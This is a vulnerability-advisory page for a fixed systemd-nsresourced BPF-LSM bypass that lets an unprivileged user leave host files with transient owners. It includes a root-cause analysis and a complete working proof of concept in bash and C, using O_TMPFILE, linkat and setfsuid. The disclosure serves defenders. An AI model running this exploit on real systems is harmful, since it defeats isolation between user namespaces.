Read the docs

Policy bypass in systemd-nsresourced creates persistent host files

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

systemd versions from v256 onward are affected. The BPF-LSM policy in systemd-nsresourced is meant to stop managed user namespaces from creating persistent files with transient UIDs or GIDs on host filesystems, but it can be bypassed. A local unprivileged user can bypass this policy and create a persistent file on the host with a transient owner.

Written with Claude Haiku 5.5 from the sources below · 2026-11-18

Description from the GitHub advisory

## Patches v263 (https://github.com/systemd/systemd/commit/304c9d3d9e79529714f694fe72a89169079c2e65 https://github.com/systemd/systemd/commit/075c36427330e533b12616ce6b4a0418cceba73c https://github.com/systemd/systemd/commit/d0f0c1290ac487e92bcf4a8650b19ca1baa9eeee https://github.com/systemd/systemd/commit/bdd20e5ff6fef7c1bd32b2b1cda39aae2154c338 https://github.com/systemd/systemd/commit/4b10f0a649e6b9d2fed53e8759753a12216be624) v262.2 (https://github.com/systemd/systemd/commit/59b433cc2acceec0eb7445327e3c8e83f4650f11 https://github.com/systemd/systemd/commit/b4f5697d2241327276d175dcba3f1671a835c31c https://github.com/systemd/systemd/commit/c043a926285b2f6c6dbb1655513e5dc01d7375f5 https://github.com/systemd/systemd/commit/ebe9b22a272594bb36e7eb014e8b30e7182201cf https://github.com/systemd/systemd/commit/4b4d9c9d2290d7a2657fe23c321c0514fd734f06) v261.5 (https://github.com/systemd/systemd/commit/134e402aa0e8ed693abb388dcfb1f59bc8755713 https://github.com/systemd/systemd/commit/432834f79e28f35da3c5f5ba1a874794708c8f32 https://github.com/systemd/systemd/commit/98c440d91a9bea67f42990f4daf18d179270bc38 https://github.com/systemd/systemd/commit/1ced75f76eb5267fee6adeabddec9a87d9cc1ebe https://github.com/systemd/systemd/commit/4dc694f76811cb90675631345cb65c8ba5cad71a) v260.7 (https://github.com/systemd/systemd/commit/784ba42b3f01b7bd1ecda6ba8988c900793e137b https://github.com/systemd/systemd/commit/372034cab7993c397d778839518b028a61e1e4b8 https://github.com/systemd/systemd/commit/d0fed56c33623e2a76c7d3e1590010c7e1dec524 https://github.com/systemd/systemd/commit/e2bc7f1b24c7c21cec744dcac472884f0c6888bc https://github.com/systemd/systemd/commit/620ad1227374c83c47e8ad3f5f9c0c1e7c22050b) v259.11 (https://github.com/systemd/systemd/commit/f61392b4b9725f5c50b0b66b3734908aef11b4cc https://github.com/systemd/systemd/commit/fc687e879d577e21b956640f8ee2459b057af0bb https://github.com/systemd/systemd/commit/a3752cd59b10f6dea666003bdcc205b8a80fc3d2 https://github.com/systemd/systemd/commit/3f86a5aa172a7d0e75a0cafe7cfc790eb91f7116 https://github.com/systemd/systemd/commit/00c3c7b57e78c118d00ddbf293f4bcb5f3e86104) ## Original Report ### Summary The systemd-nsresourced BPF-LSM policy (src/bpf/userns-restrict.bpf.c) prevents managed user namespaces from creating persistent files with transient UIDs or GIDs on host filesystems. A local unprivileged user can bypass this policy with O_TMPFILE and linkat(AT_EMPTY_PATH). This action creates a persistent file on the host with a transient owner. ### Details Prerequisites src/nsresourced/io.systemd.namespace-resource.policy permits io.systemd.namespace-resource.allocate-user-namespace for allow_any, allow_inactive, and allow_active: ``` <!-- src/nsresourced/io.systemd.namespace-resource.policy --> <action id="io.systemd.namespace-resource.allocate-user-namespace"> <defaults> <allow_any>yes</allow_any> <allow_inactive>yes</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> ``` AllocateUserRange accepts the mapForeign=true parameter (src/nsresourced/nsresourcework.c:1342). This parameter maps FOREIGN_UID_MIN (0x7fff0000) 1:1 into the user namespace (write_userns() at lines 976-988 and 1044-1056): ``` /* src/nsresourced/nsresourcework.c:976-988 (UID mapping) */ if (map_foreign) { r = strextendf(&uid_map, UID_FMT " " UID_FMT " " UID_FMT "\n", FOREIGN_UID_MIN, FOREIGN_UID_MIN, FOREIGN_UID_MAX - FOREIGN_UID_MIN + 1); if (r < 0) return r; } /* src/nsresourced/nsresourcework.c:1044-1056 (GID mapping) */ if (map_foreign) { r = strextendf(&gid_map, GID_FMT " " GID_FMT " " GID_FMT "\n", FOREIGN_UID_MIN, FOREIGN_UID_MIN, FOREIGN_UID_MAX - FOREIGN_UID_MIN + 1); if (r < 0) return r; } ``` Root Cause 1. Unchecked O_TMPFILE Creation In the Linux kernel (fs/namei.c, vfs_tmpfile()), open(..., O_TMPFILE | O_RDWR, 0666) creates an I_LINKABLE inode. vfs_tmpfile() calls security_inode_post_create_tmpfile(), but it does not call security_path_mknod() or security_inode_create(). Because userns-restrict.bpf.c does not attach to lsm/inode_post_create_tmpfile, the kernel creates the transient-owned inode on the host filesystem: ``` /* Linux kernel: fs/namei.c (around line 4882) */ static int vfs_tmpfile(struct mnt_idmap *idmap, const struct path *parentpath, struct file *file, umode_t mode) { struct dentry *child; struct inode *dir = parentpath->dentry->d_inode; struct inode *inode; int error; /* Checks directory permissions and mapping, NOT security_path_mknod() */ error = inode_permission(idmap, dir, MAY_WRITE | MAY_EXEC); if (error) return error; if (!dir->i_op->tmpfile) return -EOPNOTSUPP; if (!fsuidgid_has_mapping(dir->i_sb, idmap)) return -EOVERFLOW; ... error = dir->i_op->tmpfile(idmap, dir, file, mode); if (error) return error; ... /* Marks the inode linkable unless O_EXCL was specified */ if (!(file->f_flags & O_EXCL)) { spin_lock(&inode->i_lock); inode->i_state |= I_LINKABLE; spin_unlock(&inode->i_lock); } security_inode_post_create_tmpfile(idmap, inode); return 0; } ``` 2. Incomplete Check in path_link In src/bpf/userns-restrict.bpf.c (lines 401-404), path_link calls validate_mount(new_dir->mnt, ret). validate_mount() (line 284) checks the current task fsuid and fsgid. If neither ID is transient, validate_mount() returns 0 (line 302). It does not check the owner of old_dentry->d_inode: ``` /* src/bpf/userns-restrict.bpf.c:284-304 */ static __always_inline int validate_mount(struct vfsmount *Vm, int prev_ret) { ... if (prev_ret != 0) return prev_ret; struct task_struct *t = (struct task_struct*) bpf_get_current_task_btf(); /* Early return when neither fsuid nor fsgid is in the transient range */ if (!uid_is_transient(t->cred->fsuid.val) && !gid_is_transient(t->cred->fsgid.val)) return 0; ... } /* src/bpf/userns-restrict.bpf.c:401-404 */ SEC("lsm/path_link") int BPF_PROG(userns_restrict_path_link, struct dentry *old_dentry, const struct path *new_dir, struct dentry *new_dentry, int ret) { /* Does not inspect old_dentry->d_inode->i_uid or i_gid */ return validate_mount(new_dir->mnt, ret); } ``` In the Linux kernel (fs/namei.c), may_linkat() permits the hardlink when safe_hardlink_source() is true (mode 0666) and the task has CAP_DAC_READ_SEARCH: ``` /* Linux kernel: fs/namei.c (around line 1366) */ static int may_linkat(struct mnt_idmap *idmap, const struct path *link) { struct inode *inode = link->dentry->d_inode; /* Source inode with mode 0666 satisfies safe_hardlink_source() * even after fsuid is switched to FOREIGN_UID_MIN */ if (safe_hardlink_source(idmap, inode) || inode_owner_or_capable(idmap, inode)) return 0; ... } ``` ### Proof of concept 1. An unprivileged process creates an empty user namespace and calls AllocateUserRange with mapForeign=true. 2. The process enters the namespace as UID/GID 0 (mapped to a transient host UID/GID). 3. The process sets umask(0) and opens /tmp with O_TMPFILE | O_RDWR and mode 0666. The resulting inode has a transient host owner. 4. The process calls setfsuid(FOREIGN_UID_MIN) and setfsgid(FOREIGN_UID_MIN). The effective UID stays 0, which retains CAP_DAC_READ_SEARCH in the namespace. 5. The process calls linkat(fd, "", AT_FDCWD, "/tmp/persisted", AT_EMPTY_PATH). validate_mount() sees the non-transient fsuid/fsgid and returns 0. 6. The user namespace exits. /tmp/persisted remains on the host filesystem with the transient UID/GID owner. Dynamic analysis: Confirmed on Ubuntu 26.04.1 LTS aarch64, kernel `7.0.0-38-generic` The following are a shell script and c script which were used to validate the issue The script generates userns_restrict.skel.h itself, but it also requires: 1. The pinned systemd tree built with BPF support, specifically: build/src/bpf/userns-restrict.bpf.o 7. clang, bpftool, libbpf, libelf, and zlib 8. A kernel with BPF LSM active 9. Root permission to load/attach the policy and provision the namespace SYSTEMD and WORK paths are environment-overridable. So those two files contain the complete PoC logic, but the script currently expects the prebuilt BPF policy object. ``` #!/usr/bin/env bash set -euo pipefail HERE=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) SYSTEMD=${SYSTEMD:-/home/ubuntu/workspace/systemd} WORK=${WORK:-/tmp/opencode/nsres-poc} BPF_O="$SYSTEMD/build/src/bpf/userns-restrict.bpf.o" BIN="$WORK/poc-userns-restrict" if [[ ! -r "$BPF_O" ]]; then printf 'Missing %s; build the pinned systemd tree with bpf-framework enabled.\n' "$BPF_O" >&2 exit 1 fi mkdir -p "$WORK" bpftool gen skeleton "$BPF_O" name userns_restrict > "$WORK/userns_restrict.skel.h" clang -I"$WORK" "$HERE/poc-userns-restrict.c" -o "$BIN" \ -l:libbpf.a -lelf -lz -lpthread if (( EUID == 0 )); then "$BIN" else sudo "$BIN" fi # Independent host-side verification after namespace teardown. stat -c '%u:%g %a %n' /tmp/nsres-poc-persisted for path in /tmp/nsres-poc-normal /tmp/nsres-poc-link-blocked; do if [[ -e "$path" ]]; then printf 'UNEXPECTED: ' stat -c '%u:%g %a %n' "$path" exit 1 fi printf 'ABSENT %s\n' "$path" done ``` ``` #define _GNU_SOURCE #include <bpf/bpf.h> #include <bpf/libbpf.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include "userns_restrict.skel.h" #define TRANSIENT_ID 524288U /* CONTAINER_UID_MIN */ #define FOREIGN_ID 2147352576U /* FOREIGN_UID_MIN */ static const char *normal_path = "/tmp/nsres-poc-normal"; static const char *blocked_link_path = "/tmp/nsres-poc-link-blocked"; static const char *persisted_path = "/tmp/nsres-poc-persisted"; static int write_once(const char *path, const char *text) { int fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) return -errno; size_t len = strlen(text); ssize_t n = write(fd, text, len); int saved = errno; close(fd); if (n < 0) return -saved; if ((size_t) n != len) return -EIO; return 0; } static int send_stage(int fd, char stage) { return write(fd, &stage, 1) == 1 ? 0 : -errno; } static int recv_stage(int fd, char expected) { char stage; ssize_t n = read(fd, &stage, 1); if (n != 1) return -EIO; if (stage != expected) { fprintf(stderr, "Synchronization error: expected %c, got %c\n", expected, stage); return -EPROTO; } return 0; } static void child_fail(const char *what) { fprintf(stderr, "CHILD FATAL: %s: errno=%d (%s)\n", what, errno, strerror(errno)); _exit(100); } static void print_host_ids(pid_t pid, const char *when) { char path[64], line[512]; snprintf(path, sizeof(path), "/proc/%d/status", pid); FILE *f = fopen(path, "re"); if (!f) { printf("PARENT: could not read %s: %s\n", path, strerror(errno)); return; } printf("PARENT: host-visible credentials %s:\n", when); while (fgets(line, sizeof(line), f)) if (!strncmp(line, "Uid:", 4) || !strncmp(line, "Gid:", 4) || !strncmp(line, "CapEff:", 7)) printf(" %s", line); fclose(f); } static void report_open_result(const char *name, int ret, int error) { if (ret >= 0) printf(" %s: UNEXPECTED SUCCESS fd=%d\n", name, ret); else printf(" %s: blocked ret=-1 errno=%d (%s)\n", name, error, strerror(error)); } int main(void) { struct userns_restrict *skel = NULL; int p2c[2] = {-1, -1}, c2p[2] = {-1, -1}; int userns_fd = -1, status = 0, rc = 1; pid_t child = -1; bool create_control_ok, link_control_ok, bypass_ok; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("TARGET: transient uid:gid = %u:%u; foreign uid:gid = %u:%u\n", TRANSIENT_ID, TRANSIENT_ID, FOREIGN_ID, FOREIGN_ID); for (size_t i = 0; i < 3; i++) { const char *paths[] = { normal_path, blocked_link_path, persisted_path }; if (unlink(paths[i]) < 0 && errno != ENOENT) { perror("unlink stale test path"); return 1; } } skel = userns_restrict__open_and_load(); if (!skel) { fprintf(stderr, "Failed to open/load BPF skeleton: %s\n", strerror(errno)); return 1; } if (userns_restrict__attach(skel) < 0) { fprintf(stderr, "Failed to attach BPF LSM programs: %s\n", strerror(errno)); goto out; } printf("PASS: loaded and attached real userns-restrict BPF policy\n"); if (pipe2(p2c, O_CLOEXEC) < 0 || pipe2(c2p, O_CLOEXEC) < 0) { perror("pipe2"); goto out; } child = fork(); if (child < 0) { perror("fork"); goto out; } if (child == 0) { close(p2c[1]); close(c2p[0]); if (unshare(CLONE_NEWUSER) < 0) child_fail("unshare(CLONE_NEWUSER)"); if (send_stage(c2p[1], 'U') < 0) child_fail("send U"); if (recv_stage(p2c[0], 'M') < 0) child_fail("wait for maps+registration"); /* A uid_map does not change existing kernel kuids. Explicitly move * from unmapped host root to inside uid/gid 0 (= host 524288). */ if (setresgid(0, 0, 0) < 0) child_fail("setresgid(0,0,0)"); if (setresuid(0, 0, 0) < 0) child_fail("setresuid(0,0,0)"); printf("CHILD: after credential transition: uid=%u euid=%u gid=%u egid=%u\n", getuid(), geteuid(), getgid(), getegid()); if (send_stage(c2p[1], 'C') < 0) child_fail("send C"); if (recv_stage(p2c[0], 'G') < 0) child_fail("wait for negative control"); printf("TEST 1 (negative control): O_CREAT with transient fsuid/fsgid\n"); errno = 0; int normal_fd = open(normal_path, O_CREAT | O_EXCL | O_RDWR | O_CLOEXEC, 0666); int normal_errno = errno; report_open_result(" normal O_CREAT", normal_fd, normal_errno); create_control_ok = normal_fd < 0 && (normal_errno == EPERM || normal_errno == EACCES); if (normal_fd >= 0) close(normal_fd); printf(" RESULT 1: %s (expected EPERM/EACCES)\n", create_control_ok ? "PASS" : "FAIL"); umask(0); errno = 0; int tmpfd = open("/tmp", O_TMPFILE | O_RDWR | O_CLOEXEC, 0666); if (tmpfd < 0) child_fail("open(/tmp, O_TMPFILE|O_RDWR, 0666)"); struct stat tmpst; if (fstat(tmpfd, &tmpst) < 0) child_fail("fstat(tmpfd)"); printf("TEST 2: O_TMPFILE succeeded fd=%d; namespace-visible owner=%u:%u mode=%04o\n", tmpfd, tmpst.st_uid, tmpst.st_gid, tmpst.st_mode & 07777); printf("TEST 3 (negative control): linkat(AT_EMPTY_PATH) while fsuid/fsgid remain transient\n"); errno = 0; int blocked_ret = linkat(tmpfd, "", AT_FDCWD, blocked_link_path, AT_EMPTY_PATH); int blocked_errno = errno; report_open_result(" transient linkat", blocked_ret, blocked_errno); link_control_ok = blocked_ret < 0 && (blocked_errno == EPERM || blocked_errno == EACCES); printf(" RESULT 3: %s (expected EPERM/EACCES)\n", link_control_ok ? "PASS" : "FAIL"); /* setfsuid/setfsgid return the previous ID, not 0/-1 status. * Query with -1 afterwards to verify the new namespace IDs. */ syscall(SYS_setfsuid, FOREIGN_ID); syscall(SYS_setfsgid, FOREIGN_ID); uid_t now_fsuid = (uid_t) syscall(SYS_setfsuid, (uid_t) -1); gid_t now_fsgid = (gid_t) syscall(SYS_setfsgid, (gid_t) -1); printf("CHILD: after foreign transition: euid=%u egid=%u fsuid=%u fsgid=%u\n", geteuid(), getegid(), now_fsuid, now_fsgid); if (now_fsuid != FOREIGN_ID || now_fsgid != FOREIGN_ID) { errno = 0; child_fail("foreign fsuid/fsgid verification"); } if (send_stage(c2p[1], 'F') < 0) child_fail("send F"); if (recv_stage(p2c[0], 'L') < 0) child_fail("wait for final linkat"); printf("TEST 4A (original claimed bypass): same tmpfile, linkat(AT_EMPTY_PATH) after foreign fsuid/fsgid\n"); errno = 0; int link_ret = linkat(tmpfd, "", AT_FDCWD, persisted_path, AT_EMPTY_PATH); int link_errno = errno; if (link_ret == 0) printf(" AT_EMPTY_PATH linkat: SUCCESS ret=0\n"); else printf(" AT_EMPTY_PATH linkat: FAILURE errno=%d (%s)\n", link_errno, strerror(link_errno)); bypass_ok = link_ret == 0; printf(" RESULT 4A: %s\n", bypass_ok ? "PASS (original sequence works)" : "FAIL (original sequence blocked)"); /* Linux 2024+ also checks file->f_cred against current_cred() * for AT_EMPTY_PATH. Test the distinct procfs magic-link route, * which does not use the empty-source-path dirfd lookup. */ if (!bypass_ok && link_errno == ENOENT) { char procfd_path[64]; snprintf(procfd_path, sizeof(procfd_path), "/proc/self/fd/%d", tmpfd); printf("TEST 4B (variant): linkat(%s, AT_SYMLINK_FOLLOW) with unchanged foreign credentials\n", procfd_path); errno = 0; int proc_ret = linkat(AT_FDCWD, procfd_path, AT_FDCWD, persisted_path, AT_SYMLINK_FOLLOW); int proc_errno = errno; if (proc_ret == 0) printf(" procfs linkat variant: SUCCESS ret=0\n"); else printf(" procfs linkat variant: FAILURE errno=%d (%s)\n", proc_errno, strerror(proc_errno)); bypass_ok = proc_ret == 0; printf(" RESULT 4B: %s\n", bypass_ok ? "PASS (procfs variant works)" : "FAIL (procfs variant blocked)"); } close(tmpfd); bool child_ok = create_control_ok && link_control_ok && bypass_ok; printf("CHILD: exiting; controls+bypass %s\n", child_ok ? "all passed" : "NOT all passed"); _exit(child_ok ? 0 : 2); } close(p2c[0]); p2c[0] = -1; close(c2p[1]); c2p[1] = -1; if (recv_stage(c2p[0], 'U') < 0) { fprintf(stderr, "PARENT: child did not reach unshare\n"); goto kill_child; } char procpath[64]; snprintf(procpath, sizeof(procpath), "/proc/%d/ns/user", child); userns_fd = open(procpath, O_RDONLY | O_CLOEXEC); if (userns_fd < 0) { perror("open child userns"); goto kill_child; } struct stat nsst; if (fstat(userns_fd, &nsst) < 0) { perror("fstat child userns"); goto kill_child; } if (nsst.st_ino > UINT32_MAX) { fprintf(stderr, "userns inode does not fit BPF map key\n"); goto kill_child; } printf("PARENT: child userns inode=%llu\n", (unsigned long long) nsst.st_ino); char map[256]; snprintf(map, sizeof(map), "0 %u 1\n%u %u 65536\n", TRANSIENT_ID, FOREIGN_ID, FOREIGN_ID); snprintf(procpath, sizeof(procpath), "/proc/%d/setgroups", child); int r = write_once(procpath, "deny"); if (r < 0) { fprintf(stderr, "write setgroups: %s\n", strerror(-r)); goto kill_child; } snprintf(procpath, sizeof(procpath), "/proc/%d/uid_map", child); r = write_once(procpath, map); if (r < 0) { fprintf(stderr, "single write uid_map: %s\n", strerror(-r)); goto kill_child; } snprintf(procpath, sizeof(procpath), "/proc/%d/gid_map", child); r = write_once(procpath, map); if (r < 0) { fprintf(stderr, "single write gid_map: %s\n", strerror(-r)); goto kill_child; } printf("PASS: wrote each map in one write():\n%s", map); unsigned ino = (unsigned) nsst.st_ino; int dummy = 1; int map_fd = bpf_map__fd(skel->maps.userns_managed); if (map_fd < 0 || bpf_map_update_elem(map_fd, &ino, &dummy, BPF_ANY) < 0) { perror("register userns_managed"); goto kill_child; } int verify = 0; if (bpf_map_lookup_elem(map_fd, &ino, &verify) < 0) { perror("verify userns_managed registration"); goto kill_child; } printf("PASS: registered+verified userns inode %u in userns_managed\n", ino); if (send_stage(p2c[1], 'M') < 0 || recv_stage(c2p[0], 'C') < 0) { fprintf(stderr, "PARENT: synchronization failed before tests\n"); goto kill_child; } print_host_ids(child, "after setresuid/setresgid (Uid/Gid fields: real effective saved fs)"); if (send_stage(p2c[1], 'G') < 0 || recv_stage(c2p[0], 'F') < 0) { fprintf(stderr, "PARENT: synchronization failed during tests\n"); goto kill_child; } print_host_ids(child, "after setfsuid/setfsgid (last field must be foreign)"); if (send_stage(p2c[1], 'L') < 0) { fprintf(stderr, "PARENT: failed to release final linkat\n"); goto kill_child; } if (waitpid(child, &status, 0) < 0) { perror("waitpid"); goto out; } child = -1; close(userns_fd); userns_fd = -1; printf("PARENT: child exited and last userns fd closed (namespace teardown complete)\n"); printf("HOST FILE CHECKS AFTER TEARDOWN:\n"); struct stat st; if (lstat(normal_path, &st) == 0) printf(" UNEXPECTED: %s exists owner=%u:%u\n", normal_path, st.st_uid, st.st_gid); else printf(" PASS: %s absent (negative create control)\n", normal_path); if (lstat(blocked_link_path, &st) == 0) printf(" UNEXPECTED: %s exists owner=%u:%u\n", blocked_link_path, st.st_uid, st.st_gid); else printf(" PASS: %s absent (negative link control)\n", blocked_link_path); if (stat(persisted_path, &st) < 0) { printf(" FAIL: %s absent: %s\n", persisted_path, strerror(errno)); goto out; } printf(" %s owner=%u:%u mode=%04o\n", persisted_path, st.st_uid, st.st_gid, st.st_mode & 07777); bool owner_ok = st.st_uid == TRANSIENT_ID && st.st_gid == TRANSIENT_ID; bool child_ok = WIFEXITED(status) && WEXITSTATUS(status) == 0; printf("FINAL VERDICT: %s\n", owner_ok && child_ok ? "ALL EXPECTATIONS MET" : "EXPECTATIONS NOT MET"); rc = owner_ok && child_ok ? 0 : 1; goto out; kill_child: if (child > 0) { kill(child, SIGKILL); waitpid(child, &status, 0); child = -1; } out: if (userns_fd >= 0) close(userns_fd); if (child > 0) { kill(child, SIGKILL); waitpid(child, &status, 0); } for (int i = 0; i < 2; i++) { if (p2c[i] >= 0) close(p2c[i]); if (c2p[i] >= 0) close(c2p[i]); } if (skel) userns_restrict__destroy(skel); printf("BPF policy detached/unloaded\n"); return rc; } ``` ### Impact Bypasses the transient UID/GID persistence policy of systemd-nsresourced. Persistent files survive namespace termination and can collide with future namespaces that receive the same recycled transient UID/GID range.

Why it matters now

Fix Fixed systemd (systemd): 263 262.2 261.5 260.7 259.11

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—systemd (systemd)v256+263 262.2 261.5 260.7 259.11Patch availableGHSA-rwpv-wjq2-qwmm
  • systemd (systemd) Vendor— Affected v256+ Fixed in 263 262.2 261.5 260.7 259.11 Patch available GHSA-rwpv-wjq2-qwmm

Remediation

The fixed versions are systemd 259.11, 260.7, 261.5, 262.2 and 263, and the fix is available in the upstream commits listed for each of these releases.

Written with Claude Haiku 5.5 from the sources below · 2026-11-18

  • Fix · GHSA-rwpv-wjq2-qwmm systemd (systemd) Fixed in 263 262.2 261.5 260.7 259.11 Advisory →

Timeline

  1. 2026-11-18 Threatist record created from GHSA-rwpv-wjq2-qwmm

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences